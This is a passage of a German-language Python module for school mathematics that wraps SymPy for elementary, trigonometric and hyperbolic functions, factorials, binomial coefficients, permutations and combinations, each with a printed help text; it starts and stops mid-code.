sqrt(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nWurzel - Funktion\\n\")\n print(\"Aufruf sqrt( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x > 0\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\n wert = Sqrt(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\n\ndef exp(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nExponential - Funktion\\n\")\n print(\"Aufruf exp( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\n wert = Exp(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\n\t\ndef log(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nNat\u00fcrlicher Logarithmus - Funktion\\n\")\n print(\"Aufruf ln( x )\")\n print(\"oder log( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x > 0\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Log(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\n\t\nln = log\n\ndef lg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nDekadischer Logarithmus - Funktion\\n\")\n print(\"Aufruf lg( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x > 0\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Log(number, 10)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\n\ndef max(*numbers, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nGr\u00f6\u00dfte Zahl in einer Folge von Zahlen\\n\")\n print(\"Aufruf max( x1, x2, ... )\\n\")\n print(\" x Zahl\\n\")\n return\n if isinstance(numbers[0], (list, tuple, Tuple, set, dict)):\n zahlen = [x for x in numbers[0]]\n else:\n zahlen = [x for x in numbers] \n if not all([is_zahl(x) for x in zahlen]):\n print(\"agla: nur Zahlen angeben\") \n return\t\t\n wert = Max(*zahlen)\n return wert\n\t\ndef min(*numbers, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKleinste Zahl in einer Folge von Zahlen\\n\")\n print(\"Aufruf min( x1, x2, ... )\\n\")\n print(\" x Zahl\\n\")\n return\n if isinstance(numbers[0], (list, tuple, Tuple, set, dict)):\n zahlen = [x for x in numbers[0]]\n else:\n zahlen = [x for x in numbers] \n if not all([is_zahl(x) for x in zahlen]):\n print(\"agla: nur Zahlen angeben\") \n return\t\t\n wert = Min(*zahlen)\n return wert\n\ndef re(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nRealteil einer komplexen Zahl\\n\")\n print(\"Aufruf re( z )\\n\")\n print(\" z komplexe Zahl\\n\")\n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine komplexe Zahl angeben\") \n return\t\t\n wert = Re(number)\n return wert\n\ndef im(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nImagin\u00e4rteil einer komplexen Zahl\\n\")\n print(\"Aufruf im( z )\\n\")\n print(\" z komplexe Zahl\\n\")\n return\n if len(number) != 1:\n print(\"agla: eine komplexe Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Im(number)\n return wert\n\t\ndef conjugate(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKonjugiert - komplexe Zahl\\n\")\n print(\"Aufruf conjugate( z )\")\n print(\" oder konjugirt( z )\\n\")\n print(\" z komplexe Zahl\\n\")\n return\n if len(number) != 1:\n print(\"agla: eine komplexe Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Conjugate(number)\n return wert\n\t\nkonjugiert = conjugate\n\n\n# -------------------------------------------------\n# Trigonometrische und Umkehr-Funktionen - Bogenma\u00df\n# -------------------------------------------------\n\ndef sin(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nSinus - Funktion\\n\")\n print(\"Aufruf sin( winkel )\\n\")\n print(\" winkel Winkel in Bogenma\u00df\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Sin(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\ndef arcsin(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkussinus - Funktion\\n\")\n print(\"Aufruf arcsin( x )\")\n print(\" oder asin( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x in [-1, 1]\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Asin(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\nasin = arcsin\n\t\ndef cos(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKosinus - Funktion\\n\")\n print(\"Aufruf cos( winkel )\\n\")\n print(\" winkel Winkel in Bogenma\u00df\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Cos(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\ndef arccos(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkuskosinus - Funktion\\n\")\n print(\"Aufruf arccos( x )\")\n print(\" oder acos( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x in [-1, 1]\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Acos(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\t\nacos = arccos\n\t\t\ndef tan(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nTangens - Funktion\\n\")\n print(\"Aufruf tan( winkel )\\n\")\n print(\" winkel Winkel in Bogenma\u00df\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Tan(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\ndef arctan(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkustangens - Funktion\\n\")\n print(\"Aufruf arctan( x )\")\n print(\" oder atan( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Atan(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\natan = arctan\n\t\ndef cot(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKotangens - Funktion\\n\")\n print(\"Aufruf cot( winkel )\\n\")\n print(\" winkel Winkel in Bogenma\u00df\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Cot(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\ndef arccot(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkuskotangens - Funktion\\n\")\n print(\"Aufruf arccot( x )\")\n print(\" oder acot( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Acot(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\nacot = arccot\n\t\n# ------------------------------------------------\n# Trigonometrische und Umkehr-Funktionen - Gradma\u00df\n# ------------------------------------------------\n\ndef sing(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nSinus f\u00fcr Gradwerte - Funktion\\n\")\n print(\"Aufruf sing( winkel )\\n\")\n print(\" winkel Winkel in Grad\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = sin(number * pi /180)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\ndef cosg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKosinus f\u00fcr Gradwerte - Funktion\\n\")\n print(\"Aufruf cosg( winkel )\\n\")\n print(\" winkel Winkel in Grad\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\")\n return\t\t\n wert = cos(number * pi /180)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\ndef tang(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nTangens f\u00fcr Gradwerte - Funktion\\n\")\n print(\"Aufruf tang( winkel )\\n\")\n print(\" winkel Winkel in Grad\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\")\n return\t\t\n wert = tan(number * pi /180)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\ndef cotg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKotangens f\u00fcr Gradwerte - Funktion\\n\")\n print(\"Aufruf cotg( winkel )\\n\")\n print(\" winkel Winkel in Grad\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\")\n return\t\t\n wert = 1 / tan(number * pi /180)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\n\t\ndef asing(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkussinus in Grad - Funktion\\n\")\n print(\"Aufruf arcsing( x )\")\n print(\"oder asing( x )\\n\")\n print(\" x Zahl \\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x in [-1, 1]\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n try:\t\t\n if len(number) != 1:\n raise AglaError(\"eine Zahl angeben\") \n number = sympify(number[0])\n if not is_zahl(number):\n raise AglaError(\"eine Zahl angeben\") \n except AglaError as e:\n print('agla:', str(e))\n return\t\n try:\t\t\n number = nsimplify(number)\n except RecursionError:\n pass\t\n wert = asin(number)*180/pi\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\narcsing = asing\t\n\t\ndef acosg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkuskosinus in Grad - Funktion\\n\")\n print(\"Aufruf arccosg( x )\")\n print(\"oder acosg( x )\\n\")\n print(\" zahl Zahl \\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x in [-1, 1]\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n try:\t\t\n if len(number) != 1:\n raise AglaError(\"eine Zahl angeben\") \n number = sympify(number[0])\n if not is_zahl(number):\n raise AglaError(\"eine Zahl angeben\") \n number = re(number)\n except AglaError as e:\n print('agla:', str(e))\n return\t\t\t\n try:\t\t\n number = nsimplify(number)\n except RecursionError:\n pass\t\t\n wert = acos(number)*180/pi\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\narccosg = acosg\n\t\ndef atang(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkustangens in Grad - Funktion\\n\")\n print(\"Aufruf arctang( x )\")\n print(\"oder atang( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = sympify(number[0])\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = nsimplify(number)\n try:\t\t\n number = nsimplify(number)\n except RecursionError:\n pass\t\t\n wert = atan(number) * 180 / pi\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\narctang = atang\n\ndef acotg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkuskotangens in Grad - Funktion\\n\")\n print(\"Aufruf arccotg( x )\")\n print(\"oder acotg( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = sympify(number[0])\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = nsimplify(number)\n try:\t\t\n number = nsimplify(number)\n except RecursionError:\n pass\t\t\n wert = acot(number) * 180 / pi\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\narccotg = acotg\n\n\n# -----------------------------------\n# Hyperbolische und Umkehr-Funktionen \n# -----------------------------------\n\ndef sinh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nSinus hyperbolikus - Funktion\\n\")\n print(\"Aufruf sinh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Sinh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\ndef cosh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKosinus hyperbolikus - Funktion\\n\")\n print(\"Aufruf cosh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Cosh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\ndef tanh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nTangens hyperbolikus - Funktion\\n\")\n print(\"Aufruf tanh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Tanh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\ndef asinh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nAreasinus - Funktion\\n\")\n print(\"Aufruf asinh( x )\")\n print(\" oder arsinh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Asinh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\narsinh = asinh\n\t\ndef acosh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nAreakosinus - Funktion\\n\")\n print(\"Aufruf acosh( x )\")\n print(\" oder arcosh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Acosh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\narcosh = acosh\n\t\ndef atanh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nAreatangens - Funktion\\n\")\n print(\"Aufruf atanh( x )\")\n print(\" oder artanh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Atanh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\nartanh = atanh\n\n\t\t\n\t\t\n# Test auf eine zufall-zahl\n# -------------------------\n\t\t\ndef is_zahl(x):\t\n if isinstance(x, str):\n return False\n x = sympify(x)\n try:\n if x.is_number:\n return True\n elif x.is_Function:\n return True\n except AttributeError:\n pass\n zahlen = (Integer, int, Float, float, Symbol, One, Zero, NegativeOne, Half, \n sin, cos, tan, sinh, cosh, tanh, asin, acos, atan, exp, log,\n\t\t\t Mul, Add, Pow)\n return type(x) in zahlen \n\t\nisZahl = is_zahl\t\n\n\t\t\n# ------------------------\n# Test auf freie Parameter\n# ------------------------\n\t\t\ndef mit_param(obj):\n nv = importlib.import_module('zufall.lib.objekte.normal_verteilung')\n NormalVerteilung = nv.NormalVerteilung\n if iterable(obj):\n test = [mit_param(el) for el in obj]\n return any(test)\n obj = sympify(obj)\n if is_zahl(obj):\n try:\n return bool(obj.free_symbols)\t\n except SyntaxError:\n return False\n elif isinstance(obj, NormalVerteilung):\n return mit_param(obj.mu) or mit_param(obj.sigma) \t\n\t\t\t\nmitParam = mit_param\n\t\t\t\n\t\n# --------------------------\n# Ausgabe nummerischer Werte\n# --------------------------\n\ndef wert_ausgabe(wert, d=None): # interne Funktion\n if not isinstance(d, (Integer, int)):\n d = None\n else:\n if d <= 0:\n d = None \n if not d:\t\n if mit_param(wert):\n return N(wert)\n else:\n return eval(format(float(wert)))\n else:\n if mit_param(wert):\n return N(wert, d)\n else:\n return eval(format(float(wert), \".%df\" %d ))\n \nwertAusgabe = wert_ausgabe\t \n\n\n# ---------\n# Fakultaet\n# ---------\n\t\t\ndef fakultaet(*args, **kwargs):\n \"\"\"Fakult\u00e4tsfunktion\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nfakult\u00e4t - Fakult\u00e4tsfunktion\\n\")\t\n print(\"Kurzform fak\\n\")\t\t\n print(\"Aufruf fak( n )\\n\")\t\n print(\" n ganze Zahl >= 0\\n\")\n return\t\n\n if len(args) != 1:\n print('zufall: ein Argument angeben')\n return\n n = args[0]\n if mit_param(n):\n return\t factorial(n)\t\n if not (isinstance(n, (int, Integer)) and n >= 0):\t\n print ('zufall: ganze nichtnegative Zahl angeben')\n return\t\t\n return factorial(n)\n\nfak = fakultaet\n\n\n# -------------------\n# Binomialkoeffizient\n# -------------------\n\t\t\ndef binomial(*args, **kwargs):\n \"\"\"Binomialkoeffizient\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nbinomial - Binomialkoeffizient\\n\")\t\n print(\"Kurzform B\\n\")\t\t\n print(\"Aufruf B( n, k )\\n\")\t\n print(\" n, k ganze Zahl >= 0\\n\")\n print(\"Achtung - der Bezeichner B kann \u00fcberschrieben werden\\n\")\n return\t\n if len(args) != 2:\n print('zufall: zwei Argumente angeben')\n return\n n, k = args\n if mit_param(n):\n if mit_param(k):\n return Binomial(n, k)\n else:\n if isinstance(k, (int, Integer)) and k >= 0:\n return Binomial(n, k)\n print('zufall: positive ganze Zahlen angeben')\n return\t\t\t\t \n else:\n if isinstance(n, (int, Integer)) and n >= 0:\n return Binomial(n, k)\n print('zufall: positive ganze Zahlen angeben')\n return\t\t\t\t \n \t\t\t\nB = binomial\n\n\n# -------------\n# Permutationen\n# -------------\n\t\t\ndef permutationen(*args, **kwargs):\n \"\"\"Permutationen einer Menge von Elementen\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nPermutationen der Elemente einer Menge\\n\")\t\n print(\"Kurzform perm\\n\")\t\t\n print(\"Aufruf perm( menge | n )\\n\")\t\t \n print(\" menge Liste/Tupel/Menge von Elementen | dictionary \")\n print(\" Elemente sind Zahlen, Symbole, Zeichenketten\")\n print(\" ein dictionary enth\u00e4lt (element:anzahl)-Paare\")\n print(\" n bei Angabe einer ganzen Zahl >0 wird die Menge\")\n print(\" {1, 2,...,n} verwendet\\n\")\t\n print(\"Zusatz k=ja Ausgabe der Permutationen in Kurzform\")\t\t\t\n print(\" l=ja Ausgabe der Permutationen in Listenform\")\t\t\t\n print(\" f=ja Formeln\\n\")\n print(\"Beispiele\")\n print(\"perm( [a, b, c, d], k=ja)\")\t\t\n print(\"perm( { 0:3, 1:2 }, l=ja)\")\t\t\n print(\"perm( 5)\\n\")\t\t\n return\t\n\n if kwargs.get('f'):\n i = Symbol('i')\n print(' ')\t\t\n display(Math('Anzahl\\; der\\; Permutationen\\; ohne\\; Wiederholungen = n!'))\t\n display(Math('Anzahl\\; der\\; Permutationen\\; mit\\; Wiederholungen = \\\\frac{n!}{n_1!\\: n_2!\\: ... \\:n_p!}'))\t\n display(Math('n - Anzahl\\; der\\; Elemente \\; der\\; Grundgesamtheit'))\t\n display(Math('n_i - Anzahl\\; des\\; Auftretens \\; des\\;' + latex(i) + \\\n '.\\; Elementes\\; in\\; der\\; Grundgesamtheit, \\\\quad \\\\sum\\limits_{i=1}^{p}n_i = n'))\t\n print(' ')\t\t\t\t \n return\n\t\t\n if len(args) != 1:\n print('zufall: ein Argument angeben')\n return\n menge = args[0]\t\t\t\n if not menge:\n return []\t\t\n if not isinstance(menge, (list, tuple, set, dict, int, Integer)):\t\n raise ZufallError('Liste/Tupel/Menge von Elementen oder ganze positive Zahl angeben')\n if isinstance(menge, (list, tuple, set)) and not all(map(lambda x: isinstance(x, \\\n (int, Integer, Symbol, str)), menge)):\n raise ZufallError(\"Listenelemente k\u00f6nnen ganze Zahlen, Symbole oder Zeichenketten sein\")\t\t\t\n if isinstance(menge, dict):\n if not all(map(lambda x: isinstance(x, (int, Integer)) and x > 0, menge.values())):\n raise ZufallError(\"im dictionary als Werte Anzahlen angeben\")\n m = []\t\n for it in menge:\n m += [it for i in range(menge[it])]\n menge = m\t\t\t\t\n if isinstance(menge, (int, Integer)):\n if menge <= 0:\t\n raise ZufallError('ganze positive Zahl angeben')\n else:\n menge = range(1, menge+1)\t\n menge = list(menge)\n menge.sort(key=str)\n di = {menge[0]:1}\t\n wiederh = False\t\t\n for it in menge[1:]:\n try:\n di[it] += 1\n wiederh = True\t\t\t\t\n except KeyError:\n di[it] = 1\n kwl = kwargs.get('l')\n kwk = kwargs.get('k')\n if not(kwl or kwk):\n if not wiederh:\n return factorial(len(menge)) \n else:\n N = factorial(len(menge))\n for it in di:\n N = N / factorial(di[it])\n return nsimplify(N)\n if not wiederh:\n pp = list(permutations(menge))\n else:\n def pmw(iterable): \n L = [iterable[0]]\n for i, it in enumerate(iterable):\n if i == 0 or it not in L:\n L += [it]\n yield it\n pp = list(pmw(list(permutations(menge))))\n\t\t\n if kwl:\n return pp\n elif kwk:\n return [kurz_form(x) for x in pp]\n \t\nperm = permutationen\n\t\t\n\n\n# -------------\n# Kombinationen\n# -------------\n\t\t\ndef kombinationen(*args, **kwargs):\n \"\"\"k-Kombinationen aus einer Menge von Elementen\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nKombinationen - k-Kombinationen aus einer Menge von n Objekten\\n\")\t\n print(\"Kurzform komb\\n\")\t\t\n print(\"Aufruf komb( menge, k, wiederh, anordn )\\n\")\t\t \n print(\" menge Liste/Tupel/Menge von Elementen | dictionary |\")\n print(\" ganze positive Zahl\") \t\t\n print(\" Listenelemente sind Zahlen, Symbole, strings,\")\n print(\" aber keine Listen\")\n print(\" ein dictionary enth\u00e4lt (Objekt:Anzahl)-Paare\")\n print(\" bei Angabe einer Zahl n wird die Menge\")\n print(\" {1,2,...,n} verwendet\")\t\n print(\" k Anzahl Elemente einer Kombination\")\n print(\" wiederh Wiederholungen von Elementen in einer Kombina-\") \n print(\" tion m\u00f6glich (ja/nein)\")\n print(\" anordn Beachtung der Anordnung/Reihenfolge der Elemen- \")\n print(\" te in einer Kombination (ja/nein)\\n\")\n print(\"Zusatz k=ja Ausgabe der Kombinationen in Kurzform\")\t\t\t\n print(\" l=ja Ausgabe der Kombinationen in Listenform\")\t\t\t\n print(\" f=ja Formeln\")\n print(\" b=ja Begriffe\\n\")\n print(\"Beispiele\")\n print(\"komb( [a, b, c, d], 2, ja, nein)\")\t\t\n print(\"komb( { 0:3, 1:2 }, 4, ja, ja, k=ja)\")\t\t\n print(\"komb( 5, 2, nein, nein)\\n\")\t\t\n return\t\n\n if kwargs.get('b'):\n print(\"\\nMitunter werden Kombinationen mit Ber\u00fccksichtigung der Anordnung Varia-\")\n print(\"tionen genannt, die ohne Ber\u00fccksichtigung der Anordnung hei\u00dfen dann Kom-\")\n print(\"binationen\\n\")\n return\t\t\n\n try:\n if len(args) != 4:\n raise ZufallError('vier Argumente angeben')\n menge, k, wiederh, anordn = args\t\t\n if not isinstance(menge, (list, tuple, set, dict, int, Integer)):\t\n raise ZufallError('Liste/Tupel/Menge von Elementen oder ganze positive Zahl angeben')\n if isinstance(menge, (list, tuple, set)) and not all(map(lambda x: isinstance(x, \\\n (int, Integer, Symbol, str)), menge)):\n raise ZufallError(\"Listenelemente k\u00f6nnen Zahlen, Symbole eoder Zeichenketten sein\")\t\t\t\n if isinstance(menge, dict):\n if not all(map(lambda x: isinstance(x, (int, Integer)) and x > 0, menge.values())):\n raise ZufallError(\"im dictionary als Werte Anzahlen angeben\")\n m = []\t\n for it in menge:\n m += [it for i in range(menge[it])]\n menge = m\t\t\t\t\n if isinstance(menge, (int, Integer)):\n if menge <= 0:\t\n raise ZufallError('ganze positive Zahl angeben')\n else:\n menge = range(1, menge+1)\t\n if not isinstance(k, (int, Integer)) and k > 0:\t\n raise ZufallError('f\u00fcr Anzahl Elemente ganze Zahl > 0 angeben')\n if not isinstance(wiederh, bool):\t\n raise ZufallError('Zulassen Wiederholungen mit ja/mit oder nein/ohne angeben')\n if not isinstance(anordn, bool):\t\n raise ZufallError('Beachten der Anordnung mit ja/mit oder nein/ohne angeben')\t\t\n except ZufallError as e:\n print('zufall:', str(e))\n return\n\t\t\t\n if kwargs.get('f'):\n print(' ')\t\n if wiederh and anordn:\n display(Math('Anzahl\\; der\\; Kombinationen\\; mit\\; Wiederholungen, \\; mit\\; Anordnung = n^k'))\t\n elif wiederh and not anordn:\n display(Math('Anzahl\\; der\\; Kombinationen\\; mit\\; Wiederholungen, \\; ohne\\; Anordnung'))\n display(Math('\\\\qquad {n+k-1 \\\\choose k} = \\\\frac{(k+n-1)!}{k!\\,(n-1)!}'))\t\n elif not wiederh and anordn:\n display(Math('Anzahl\\; der\\; Kombinationen\\; ohne\\; Wiederholungen, \\; mit\\; Anordnung = ' + \\\n '\\\\frac{n!}{(n-k)! }'))\t\n elif not wiederh and not anordn:\n display(Math('Anzahl\\; der\\; Kombinationen\\; ohne\\; Wiederholungen, \\; ohne\\; Anordnung'))\n display(Math('\\\\qquad {n \\\\choose k} = \\\\frac{n!}{k!\\,(n-k)! }'))\t\n display(Math('n - Anzahl\\; der\\; Elemente \\; der\\; Grundgesamtheit'))\t\n display(Math('k - Anzahl\\; der\\; ausgew\u00e4hlten \\; Elemente'))\t\n print(' ')\t\t\n return\n\t\t\n if not menge:\n return []\t\t\n \t\n menge = list(menge)\t\n menge.sort(key=str)\t\n if not anordn and not wiederh:\n kk = list(combinations(menge, k))\n elif not anordn and wiederh:\n kk = list(combinations_with_replacement(menge, k))\n elif anordn and not wiederh:\n kk = list(permutations(menge, k))\t\n elif anordn and wiederh:\n kk = list(product(menge, repeat=k))\t\n\t\n kwl = kwargs.get('l')\n kwk = kwargs.get('k')\n n = len(menge)\t\n if not(kwl or kwk):\n if wiederh and anordn:\n return n**k \n elif wiederh and not anordn:\n N = factorial(k+n-1) / (factorial(k) * factorial(n-1))\n return nsimplify(N)\n elif not wiederh and anordn:\n N = factorial(n) / factorial(n-k) \n return nsimplify(N)\t\t\n elif not wiederh and not anordn:\n N = factorial(n) / (factorial(k) * 